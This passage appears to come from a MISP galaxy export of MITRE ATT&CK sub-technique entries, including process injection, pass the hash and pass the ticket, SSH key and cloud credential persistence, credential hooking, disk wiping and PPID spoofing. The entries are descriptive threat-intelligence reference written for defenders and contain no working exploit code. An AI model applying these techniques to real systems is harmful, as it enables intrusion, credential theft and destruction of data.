Some 3rd party utilities may be preinstalled, such as **tar** on Linux and macOS or **zip** on Windows systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001"*

## Additional Cloud Credentials - T1098.001

Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.

Adversaries may add credentials for Azure Service Principals in addition to existing legitimate credentials(Citation: Create Azure Service Principal) to victim Azure accounts.(Citation: Blue Cloud

of Death)(Citation: Blue Cloud of Death Video) Azure Service Principals support both password and certificate credentials.(Citation: Why AAD Service Principals) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) modules.(Citation: Demystifying Azure AD Service Principals)

After gaining access through [Cloud Accounts](<https://attack.mitre.org/techniques/T1078/004>), adversaries may generate or import their own SSH keys using either the `CreateKeyPair` or `ImportKeyPair` API in AWS or the `gcloud compute os-login ssh-keys add` command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)

The tag is: *misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001"*

## Compile After Delivery - T1027.004

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as `csc.exe` or `GCC/MinGW`.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](<https://attack.mitre.org/techniques/T1566>). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)

The tag is: *misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004"*

## Remote Data Staging - T1074.002

Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](<https://attack.mitre.org/techniques/T1560>). Interactive command shells may be used, and common functionality within [cmd](<https://attack.mitre.org/software/S0106>) and bash may be used to copy data into a staging location.

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](<https://attack.mitre.org/techniques/T1578/002>) and stage data in that instance.(Citation: Mandiant M-Trends 2020)

By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Data Staging - T1074.002"*

## Portable Executable Injection - T1055.002

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as `VirtualAllocEx` and `WriteProcessMemory`, then invoked with `CreateRemoteThread` or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Endgame Process Injection July 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002"*

## Pass the Hash - T1550.002

Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.

Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.(Citation: NSA Spotting)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002"*

## Archive via Library - T1560.002

An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](<https://attack.mitre.org/techniques/T1059/006>) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.

Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.

The tag is: *misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002"*

## GUI Input Capture - T1056.002

Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](<https://attack.mitre.org/techniques/T1548/002>)).

Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnab malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).

## Rename System Utilities - T1036.003

Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename

`rundll32.exe`). (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)

The tag is: *misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003"*

## Network Logon Script - T1037.003

Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.

Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Logon Script - T1037.003"*

## Thread Execution Hijacking - T1055.003

Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.

Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as `OpenThread`. At this point the process can be suspended then written to, realigned to

the injected code, and resumed via `SuspendThread`, `VirtualAllocEx`, `WriteProcessMemory`, `SetThreadContext`, then `ResumeThread` respectively.(Citation: Endgame Process Injection July 2017)

This is very similar to [Process Hollowing](<https://attack.mitre.org/techniques/T1055/012>) but targets an existing process rather than creating a process in a suspended state.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Thread Execution Hijacking - T1055.003"*

Table 3210. Table References

## Pass the Ticket - T1550.003

Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

In this technique, valid Kerberos tickets for [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) are captured by [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)

[Silver Ticket](<https://attack.mitre.org/techniques/T1558/002>) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)

[Golden Ticket](<https://attack.mitre.org/techniques/T1558/001>) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003"*

## Web Portal Capture - T1056.003

Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.

This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](<https://attack.mitre.org/techniques/T1133>) and [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)

## Windows Command Shell - T1059.003

Adversaries may abuse the Windows command shell for execution. The Windows command shell (<code>cmd.exe</code>) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.

Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may leverage <code>cmd.exe</code> to execute various commands and payloads. Common uses include <code>cmd.exe /c</code> to execute a single command, or abusing <code>cmd.exe</code> interactively with input and output forwarded over a command and control

channel.

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003"*

Table 3213. Table References

## Network Trust Dependencies - T1590.003

Before compromising a victim, adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Acquire Infrastructure](<https://attack.mitre.org/techniques/T1583>) or [Compromise Infrastructure](<https://attack.mitre.org/techniques/T1584>)), and/or initial access (ex: [Trusted Relationship](<https://attack.mitre.org/techniques/T1199>)).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Trust Dependencies - T1590.003"*

## Space after Filename - T1036.006

Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.

For example, if there is a Mach-O executable file called `evil.bin`, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to `evil.txt`, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to `evil.txt`  (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

## Asynchronous Procedure Call - T1055.004

Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.

APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as `OpenThread`. At this point `QueueUserAPC` can be used to invoke a function (such as `LoadLibraryA` pointing to a malicious DLL).

A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.

## Web Session Cookie - T1550.004

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](<https://attack.mitre.org/techniques/T1539>), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)

## Credential API Hooking - T1056.004

Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](<https://attack.mitre.org/techniques/T1056/001>), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Endgame Process Injection July 2017)
- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored.(Citation: Endgame Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic

Hooking 2015)

- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Endgame Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)

## SSH Authorized Keys - T1098.004

Adversaries may modify the SSH `authorized_keys` file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The `authorized_keys` file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under `<user-home>/.ssh/authorized_keys`.(Citation: SSH Authorized Keys) Users may edit the system's SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value "yes" to ensure public key and RSA authentication are enabled. The SSH config file is usually located under `<etc/ssh/sshd_config>`.

Adversaries may modify SSH `authorized_keys` files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)

The tag is: *misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004"*

## Thread Local Storage - T1055.005

Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.

TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process' memory space using other [Process Injection](<https://attack.mitre.org/techniques/T1055>) techniques such as [Process Hollowing](<https://attack.mitre.org/techniques/T1055/012>). (Citation: FireEye TLS Nov 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Thread Local Storage - T1055.005"*

## Ptrace System Calls - T1055.008

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: `malloc`) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `PTRACE_POKE TEXT`/`PTRACE_POKE DATA`, which copy data to a specific address in the target processes' memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)

Ptrace system call injection may not be possible targeting processes with high-privileges, and on some system those that are non-child processes.(Citation: BH Linux Inject)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1055.008"*

## Network Security Appliances - T1590.006

Before compromising a victim, adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](<https://attack.mitre.org/techniques/T1595>) or [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). (Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>)), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>)), and/or initial access (ex: [External Remote Services](<https://attack.mitre.org/techniques/T1133>)).

## Network Device CLI - T1059.008

Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.

Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or secure shell (SSH).

Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)

## Local Email Collection - T1114.001

Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user's local system, such as Outlook storage or cache files.

Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\\Documents\Outlook Files` or `C:\Users\\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)

The tag is: *misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001"*

## Remote Email Collection - T1114.002

Adversaries may target an Exchange server or Office 365 to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](<https://attack.mitre.org/software/S0413>) can be used to automate searches for specific keywords.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002"*

Table 3225. Table References

Links
<a href="https://attack.mitre.org/techniques/T1114/002">https://attack.mitre.org/techniques/T1114/002</a>

## Compiled HTML File - T1218.001

Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such as VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](<https://attack.mitre.org/techniques/T1204>). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

## Email Forwarding Rule - T1114.003

Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim's organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)

Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.

The tag is: *misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003"*

# Office Template Macros - T1137.001

Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)

Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations. (Citation: GlobalDotName Jun 2019)

Word Normal.dotm location: <br>  
 <code>C:\Users<username>\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>

Excel Personal.xlsb location: <br>  
 <code>C:\Users<username>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>

Adversaries may also change the location of the base template to point to their own by hijacking the application’s search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\Program Files (x86)\Microsoft Office\root\Office16</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location. (Citation: GlobalDotName Jun 2019)

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

## Disk Content Wipe - T1561.001

Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](<https://attack.mitre.org/software/S0364>) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](<https://attack.mitre.org/techniques/T1485>) because sections of the disk are erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](<https://attack.mitre.org/techniques/T1078>), [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>), and [SMB/Windows Admin Shares](<https://attack.mitre.org/techniques/T1021/002>).(Citation: Novetta Blockbuster Destructive Malware)

## Security Software Discovery - T1518.001

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](<https://attack.mitre.org/techniques/T1518/001>) during automated discovery to shape

follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Example commands that can be used to obtain security software information are [netsh](<https://attack.mitre.org/software/S0108>), `reg query` with [Reg](<https://attack.mitre.org/software/S0075>), `dir` with [cmd](<https://attack.mitre.org/software/S0106>), and [Tasklist](<https://attack.mitre.org/software/S0057>), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)

## Determine Physical Locations - T1591.001

Before compromising a victim, adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](<https://attack.mitre.org/techniques/T1598>). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](<https://attack.mitre.org/techniques/T1594>) or [Social Media](<https://attack.mitre.org/techniques/T1593/001>).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Websites/Domains](<https://attack.mitre.org/techniques/T1593>), establishing operational resources (ex: [Develop Capabilities](<https://attack.mitre.org/techniques/T1587>) or [Obtain Capabilities](<https://attack.mitre.org/techniques/T1588>), and/or initial access (ex: [Phishing](<https://attack.mitre.org/techniques/T1566>) or [Hardware Additions](<https://attack.mitre.org/techniques/T1200>)).

## Credentials In Files - T1552.001

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"*

## Disk Structure Wipe - T1561.002

Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shmoon 2012)(Citation: FireEye Shmoon Nov 2016)(Citation: Palo Alto Shmoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shmoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure

Wipe](<https://attack.mitre.org/techniques/T1561/002>) may be performed in isolation, or along with [Disk Content Wipe](<https://attack.mitre.org/techniques/T1561/001>) if all sectors of a disk are wiped.

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](<https://attack.mitre.org/techniques/T1078>), [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>), and [SMB/Windows Admin Shares](<https://attack.mitre.org/techniques/T1021/002>). (Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

## Parent PID Spoofing - T1134.004

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the `CreateProcess` API call, which supports a parameter that defines the PPID to use. (Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via `svchost.exe` or `consent.exe`) rather than the current user context. (Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell]([Rundll32](https://attack.mitre.org/techniques/T1085) (<https://attack.mitre.org/techniques/T1085>) to be `explorer.exe` rather than an Office document delivered as part of [Spearphishing Attachment](<https://attack.mitre.org/techniques/T1566/001>). (Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](<https://attack.mitre.org/techniques/T1059/005>) within a malicious Office document or any code that can perform [Native API](<https://attack.mitre.org/techniques/T1106>). (Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as `lsass.exe`), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

## Outlook Home Page - T1137.004

Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)

